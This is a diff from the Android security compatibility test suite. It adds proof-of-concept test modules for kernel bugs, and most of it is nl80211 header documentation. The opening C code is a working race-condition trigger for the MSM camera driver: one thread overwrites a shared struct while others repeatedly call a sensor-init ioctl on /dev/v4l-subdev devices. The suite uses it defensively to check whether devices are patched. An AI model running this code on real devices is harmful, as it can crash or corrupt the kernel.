+ enum msm_camera_i2c_reg_addr_type addr_type;
+ struct msm_sensor_id_info_t sensor_id_info;
+ struct msm_sensor_power_setting_array32 power_setting_array;
+ uint8_t is_init_params_valid;
+ struct msm_sensor_init_params sensor_init_params;
+ enum msm_sensor_output_format_t output_format;
+};
+
+#define BASE_VIDIOC_PRIVATE 192
+#define VIDIOC_MSM_SENSOR_INIT_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct sensor_init_cfg_data)
+
+struct msm_camera_sensor_slave_info32 slave_info;
+int fd;
+
+static void *raceCondition(void *param) {
+ while (1) {
+ memset(&slave_info, 'A', sizeof(slave_info));
+ usleep(50);
+ }
+}
+
+static void *normalfunc(void *param) {
+ while (1) {
+ struct sensor_init_cfg_data cfg;
+ cfg.cfgtype = CFG_SINIT_PROBE;
+
+ cfg.cfg.setting = &slave_info;
+ slave_info.camera_id = CAMERA_2;
+ slave_info.power_setting_array.size = 1;
+
+ struct msm_sensor_power_setting power_setting;
+
+ slave_info.power_setting_array.size_down = MAX_POWER_CONFIG;
+
+ struct msm_sensor_power_setting pd[MAX_POWER_CONFIG];
+ slave_info.power_setting_array.power_down_setting = 0;
+
+ slave_info.eeprom_name[31] = 0;
+ slave_info.actuator_name[31] = 0;
+ slave_info.ois_name[31] = 0;
+ slave_info.sensor_name[31] = 0;
+ slave_info.flash_name[31] = 0;
+ slave_info.i2c_freq_mode = 0x0;
+ int ret = ioctl(fd, VIDIOC_MSM_SENSOR_INIT_CFG, &cfg);
+ }
+}
+
+int function1() {
+ char filename[32] = {0};
+ for (int i = 0; i < 32; i++) {
+ if (snprintf(filename, sizeof(filename), "/dev/v4l-subdev%d", i) < 0) {
+ exit(EXIT_FAILURE);
+ }
+
+ fd = open(filename, 2);
+ if (fd < 0) {
+ continue;
+ }
+
+ pthread_t raceConditionthread;
+ for (int i = 0; i < 1; i++) {
+ if (pthread_create(&raceConditionthread, NULL, raceCondition, NULL))
+ perror("raceConditionthread raceConditionthread()");
+ }
+
+ pthread_t normalthread;
+ for (int i = 0; i < 3; i++) {
+ if (pthread_create(&normalthread, NULL, normalfunc, NULL))
+ perror("normalfunc normalfunc()");
+ }
+ }
+ return 0;
+}
+
+int main(int argc, char **argv, char **env) { return function1(); }
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
index ee17cb7..e70c2aa 100644
--- a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/Android.mk b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
new file mode 100644
index 0000000..4c27a41
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36730104/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36730104
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h b/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h
new file mode 100644
index 0000000..52de6e8
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36730104/local_poc.h
@@ -0,0 +1,4387 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __LINUX_LOCAL_POC_H
+#define __LINUX_LOCAL_POC_H
+/*
+ * 802.11 netlink interface public header
+ *
+ * Copyright 2006-2010 Johannes Berg <johannes@sipsolutions.net>
+ * Copyright 2008 Michael Wu <flamingice@sourmilk.net>
+ * Copyright 2008 Luis Carlos Cobo <luisca@cozybit.com>
+ * Copyright 2008 Michael Buesch <m@bues.ch>
+ * Copyright 2008, 2009 Luis R. Rodriguez <lrodriguez@atheros.com>
+ * Copyright 2008 Jouni Malinen <jouni.malinen@atheros.com>
+ * Copyright 2008 Colin McCabe <colin@cozybit.com>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/types.h>
+
+#define NL80211_GENL_NAME "nl80211"
+
+/**
+ * DOC: Station handling
+ *
+ * Stations are added per interface, but a special case exists with VLAN
+ * interfaces. When a station is bound to an AP interface, it may be moved
+ * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
+ * The station is still assumed to belong to the AP interface it was added
+ * to.
+ *
+ * Station handling varies per interface type and depending on the driver's
+ * capabilities.
+ *
+ * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
+ * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
+ * - a setup station entry is added, not yet authorized, without any rate
+ * or capability information, this just exists to avoid race conditions
+ * - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
+ * to add rate and capability information to the station and at the same
+ * time mark it authorized.
+ * - %NL80211_TDLS_ENABLE_LINK is then used
+ * - after this, the only valid operation is to remove it by tearing down
+ * the TDLS link (%NL80211_TDLS_DISABLE_LINK)
+ *
+ * TODO: need more info for other interface types
+ */
+
+/**
+ * DOC: Frame transmission/registration support
+ *
+ * Frame transmission and registration support exists to allow userspace
+ * management entities such as wpa_supplicant react to management frames
+ * that are not being handled by the kernel. This includes, for example,
+ * certain classes of action frames that cannot be handled in the kernel
+ * for various reasons.
+ *
+ * Frame registration is done on a per-interface basis and registrations
+ * cannot be removed other than by closing the socket. It is possible to
+ * specify a registration filter to register, for example, only for a
+ * certain type of action frame. In particular with action frames, those
+ * that userspace registers for will not be returned as unhandled by the
+ * driver, so that the registered application has to take responsibility
+ * for doing that.
+ *
+ * The type of frame that can be registered for is also dependent on the
+ * driver and interface type. The frame types are advertised in wiphy
+ * attributes so applications know what to expect.
+ *
+ * NOTE: When an interface changes type while registrations are active,
+ * these registrations are ignored until the interface type is
+ * changed again. This means that changing the interface type can
+ * lead to a situation that couldn't otherwise be produced, but
+ * any such registrations will be dormant in the sense that they
+ * will not be serviced, i.e. they will not receive any frames.
+ *
+ * Frame transmission allows userspace to send for example the required
+ * responses to action frames. It is subject to some sanity checking,
+ * but many frames can be transmitted. When a frame was transmitted, its
+ * status is indicated to the sending socket.
+ *
+ * For more technical details, see the corresponding command descriptions
+ * below.
+ */
+
+/**
+ * DOC: Virtual interface / concurrency capabilities
+ *
+ * Some devices are able to operate with virtual MACs, they can have
+ * more than one virtual interface. The capability handling for this
+ * is a bit complex though, as there may be a number of restrictions
+ * on the types of concurrency that are supported.
+ *
+ * To start with, each device supports the interface types listed in
+ * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
+ * types there no concurrency is implied.
+ *
+ * Once concurrency is desired, more attributes must be observed:
+ * To start with, since some interface types are purely managed in
+ * software, like the AP-VLAN type in mac80211 for example, there's
+ * an additional list of these, they can be added at any time and
+ * are only restricted by some semantic restrictions (e.g. AP-VLAN
+ * cannot be added without a corresponding AP interface). This list
+ * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
+ *
+ * Further, the list of supported combinations is exported. This is
+ * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
+ * it exports a list of "groups", and at any point in time the
+ * interfaces that are currently active must fall into any one of
+ * the advertised groups. Within each group, there are restrictions
+ * on the number of interfaces of different types that are supported
+ * and also the number of different channels, along with potentially
+ * some other restrictions. See &enum nl80211_if_combination_attrs.
+ *
+ * All together, these attributes define the concurrency of virtual
+ * interfaces that a given device supports.
+ */
+
+/**
+ * DOC: packet coalesce support
+ *
+ * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
+ * packets does not do anything with these packets. Therefore the
+ * reception of these unwanted packets causes unnecessary processing
+ * and power consumption.
+ *
+ * Packet coalesce feature helps to reduce number of received interrupts
+ * to host by buffering these packets in firmware/hardware for some
+ * predefined time. Received interrupt will be generated when one of the
+ * following events occur.
+ * a) Expiration of hardware timer whose expiration time is set to maximum
+ * coalescing delay of matching coalesce rule.
+ * b) Coalescing buffer in hardware reaches it's limit.
+ * c) Packet doesn't match any of the configured coalesce rules.
+ *
+ * User needs to configure following parameters for creating a coalesce
+ * rule.
+ * a) Maximum coalescing delay
+ * b) List of packet patterns which needs to be matched
+ * c) Condition for coalescence. pattern 'match' or 'no match'
+ * Multiple such rules can be created.
+ */
+
+/**
+ * enum nl80211_commands - supported nl80211 commands
+ *
+ * @NL80211_CMD_UNSPEC: unspecified command to catch errors
+ *
+ * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
+ * to get a list of all present wiphys.
+ * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
+ * %NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
+ * %NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
+ * attributes determining the channel width; this is used for setting
+ * monitor mode channel), %NL80211_ATTR_WIPHY_RETRY_SHORT,
+ * %NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ * and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
+ * However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
+ * instead, the support here is for backward compatibility only.
+ * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
+ * or rename notification. Has attributes %NL80211_ATTR_WIPHY and
+ * %NL80211_ATTR_WIPHY_NAME.
+ * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
+ *
+ * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
+ * either a dump request on a %NL80211_ATTR_WIPHY or a specific get
+ * on an %NL80211_ATTR_IFINDEX is supported.
+ * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
+ * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
+ * to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
+ * be sent from userspace to request creation of a new virtual interface,
+ * then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
+ * %NL80211_ATTR_IFNAME.
+ * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
+ * userspace to request deletion of a virtual interface, then requires
+ * attribute %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
+ * by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
+ * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
+ * %NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
+ * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
+ * %NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
+ * and %NL80211_ATTR_KEY_SEQ attributes.
+ * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
+ * or %NL80211_ATTR_MAC.
+ *
+ * @NL80211_CMD_GET_BEACON: (not used)
+ * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
+ * using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
+ * attributes. For drivers that generate the beacon and probe responses
+ * internally, the following attributes must be provided: %NL80211_ATTR_IE,
+ * %NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
+ * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
+ * are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
+ * do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
+ * %NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
+ * %NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
+ * %NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
+ * %NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
+ * %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
+ * %NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
+ * The channel to use can be set on the interface or be given using the
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
+ * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
+ * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
+ * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
+ *
+ * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all stations, on the interface identified
+ * by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
+ * %NL80211_ATTR_REASON_CODE can optionally be used to specify which type
+ * of disconnection indication should be sent to the station
+ * (Deauthentication or Disassociation frame and reason code for that
+ * frame).
+ *
+ * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_MPATH: Set mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
+ * %NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
+ * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
+ * %NL80211_ATTR_MAC.
+ * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all mesh paths, on the interface identified
+ * by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
+ * regulatory domain.
+ * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
+ * after being queried by the kernel. CRDA replies by sending a regulatory
+ * domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
+ * current alpha2 if it found a match. It also provides
+ * NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
+ * regulatory rule is a nested set of attributes given by
+ * %NL80211_ATTR_REG_RULE_FREQ_[START|END] and
+ * %NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
+ * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
+ * to the specified ISO/IEC 3166-1 alpha2 country code. The core will
+ * store this as a valid request and then query userspace for it.
+ *
+ * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
+ * interface is identified with %NL80211_ATTR_IFINDEX and the management
+ * frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
+ * added to the end of the specified management frame is specified with
+ * %NL80211_ATTR_IE. If the command succeeds, the requested data will be
+ * added to all specified management frames generated by
+ * kernel/firmware/driver.
+ * Note: This command has been removed and it is only reserved at this
+ * point to avoid re-using existing command number. The functionality this
+ * command was planned for has been provided with cleaner design with the
+ * option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
+ * NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_CMD_GET_SCAN: get scan results
+ * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
+ * specify a BSSID to scan for; if not included, the wildcard BSSID will
+ * be used.
+ * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
+ * NL80211_CMD_GET_SCAN and on the "scan" multicast group)
+ * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
+ * partial scan results may be available
+ *
+ * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
+ * intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
+ * Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
+ * are passed, they are used in the probe requests. For
+ * broadcast, a broadcast SSID must be passed (ie. an empty
+ * string). If no SSID is passed, no probe requests are sent and
+ * a passive scan is performed. %NL80211_ATTR_SCAN_FREQUENCIES,
+ * if passed, define which channels should be scanned; if not
+ * passed, all channels allowed for the current regulatory domain
+ * are used. Extra IEs can also be passed from the userspace by
+ * using the %NL80211_ATTR_IE attribute.
+ * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
+ * scheduled scan is not running. The caller may assume that as soon
+ * as the call returns, it is safe to start a new scheduled scan again.
+ * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
+ * results available.
+ * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
+ * stopped. The driver may issue this event at any time during a
+ * scheduled scan. One reason for stopping the scan is if the hardware
+ * does not support starting an association or a normal scan while running
+ * a scheduled scan. This event is also sent when the
+ * %NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
+ * is brought down while a scheduled scan was running.
+ *
+ * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
+ * or noise level
+ * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
+ * NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
+ *
+ * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
+ *
+ * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
+ * has been changed and provides details of the request information
+ * that caused the change such as who initiated the regulatory request
+ * (%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
+ * (%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
+ * the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
+ * %NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
+ * set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
+ * %NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
+ * to (%NL80211_ATTR_REG_ALPHA2).
+ * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
+ * has been found while world roaming thus enabling active scan or
+ * any mode of operation that initiates TX (beacons) on a channel
+ * where we would not have been able to do either before. As an example
+ * if you are world roaming (regulatory domain set to world or if your
+ * driver is using a custom world roaming regulatory domain) and while
+ * doing a passive scan on the 5 GHz band you find an AP there (if not
+ * on a DFS channel) you will now be able to actively scan for that AP
+ * or use AP mode on your card on that same channel. Note that this will
+ * never be used for channels 1-11 on the 2 GHz band as they are always
+ * enabled world wide. This beacon hint is only sent if your device had
+ * either disabled active scanning or beaconing on a channel. We send to
+ * userspace the wiphy on which we removed a restriction from
+ * (%NL80211_ATTR_WIPHY) and the channel on which this occurred
+ * before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
+ * the beacon hint was processed.
+ *
+ * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
+ * This command is used both as a command (request to authenticate) and
+ * as an event on the "mlme" multicast group indicating completion of the
+ * authentication process.
+ * When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
+ * interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
+ * BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
+ * the SSID (mainly for association, but is included in authentication
+ * request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
+ * to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
+ * is used to specify the authentication type. %NL80211_ATTR_IE is used to
+ * define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
+ * to be added to the frame.
+ * When used as an event, this reports reception of an Authentication
+ * frame in station and IBSS modes when the local MLME processed the
+ * frame, i.e., it was for the local STA and was received in correct
+ * state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
+ * MLME SAP interface (kernel providing MLME, userspace SME). The
+ * included %NL80211_ATTR_FRAME attribute contains the management frame
+ * (including both the header and frame body, but not FCS). This event is
+ * also used to indicate if the authentication attempt timed out. In that
+ * case the %NL80211_ATTR_FRAME attribute is replaced with a
+ * %NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
+ * pending authentication timed out).
+ * @NL80211_CMD_ASSOCIATE: association request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Association and Reassociation
+ * (similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
+ * MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
+ * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
+ * MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
+ * primitives).
+ * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
+ * MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
+ *
+ * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
+ * MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
+ * event includes %NL80211_ATTR_MAC to describe the source MAC address of
+ * the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
+ * type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
+ * %NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
+ * event matches with MLME-MICHAELMICFAILURE.indication() primitive
+ *
+ * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
+ * FREQ attribute (for the initial frequency if no peer can be found)
+ * and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
+ * should be fixed rather than automatically determined. Can only be
+ * executed on a network interface that is UP, and fixed BSSID/FREQ
+ * may be rejected. Another optional parameter is the beacon interval,
+ * given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
+ * given defaults to 100 TU (102.4ms).
+ * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
+ * determined by the network interface.
+ *
+ * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
+ * to identify the device, and the TESTDATA blob attribute to pass through
+ * to the driver.
+ *
+ * @NL80211_CMD_CONNECT: connection request and notification; this command
+ * requests to connect to a specified network but without separating
+ * auth and assoc steps. For this, you need to specify the SSID in a
+ * %NL80211_ATTR_SSID attribute, and can optionally specify the association
+ * IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
+ * %NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ * %NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
+ * %NL80211_ATTR_WIPHY_FREQ_HINT.
+ * If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
+ * restrictions on BSS selection, i.e., they effectively prevent roaming
+ * within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
+ * can be included to provide a recommendation of the initial BSS while
+ * allowing the driver to roam to other BSSes within the ESS and also to
+ * ignore this recommendation if the indicated BSS is not ideal. Only one
+ * set of BSSID,frequency parameters is used (i.e., either the enforcing
+ * %NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
+ * %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
+ * Background scan period can optionally be
+ * specified in %NL80211_ATTR_BG_SCAN_PERIOD,
+ * if not specified default background scan configuration
+ * in driver is used and if period value is 0, bg scan will be disabled.
+ * This attribute is ignored if driver does not support roam scan.
+ * It is also sent as an event, with the BSSID and response IEs when the
+ * connection is established or failed to be established. This can be
+ * determined by the STATUS_CODE attribute.
+ * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
+ * sent as an event when the card/driver roamed by itself.
+ * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
+ * userspace that a connection was dropped by the AP or due to other
+ * reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
+ * %NL80211_ATTR_REASON_CODE attributes are used.
+ *
+ * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
+ * associated with this wiphy must be down and will follow.
+ *
+ * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
+ * channel for the specified amount of time. This can be used to do
+ * off-channel operations like transmit a Public Action frame and wait for
+ * a response while being associated to an AP on another channel.
+ * %NL80211_ATTR_IFINDEX is used to specify which interface (and thus
+ * radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
+ * frequency for the operation.
+ * %NL80211_ATTR_DURATION is used to specify the duration in milliseconds
+ * to remain on the channel. This command is also used as an event to
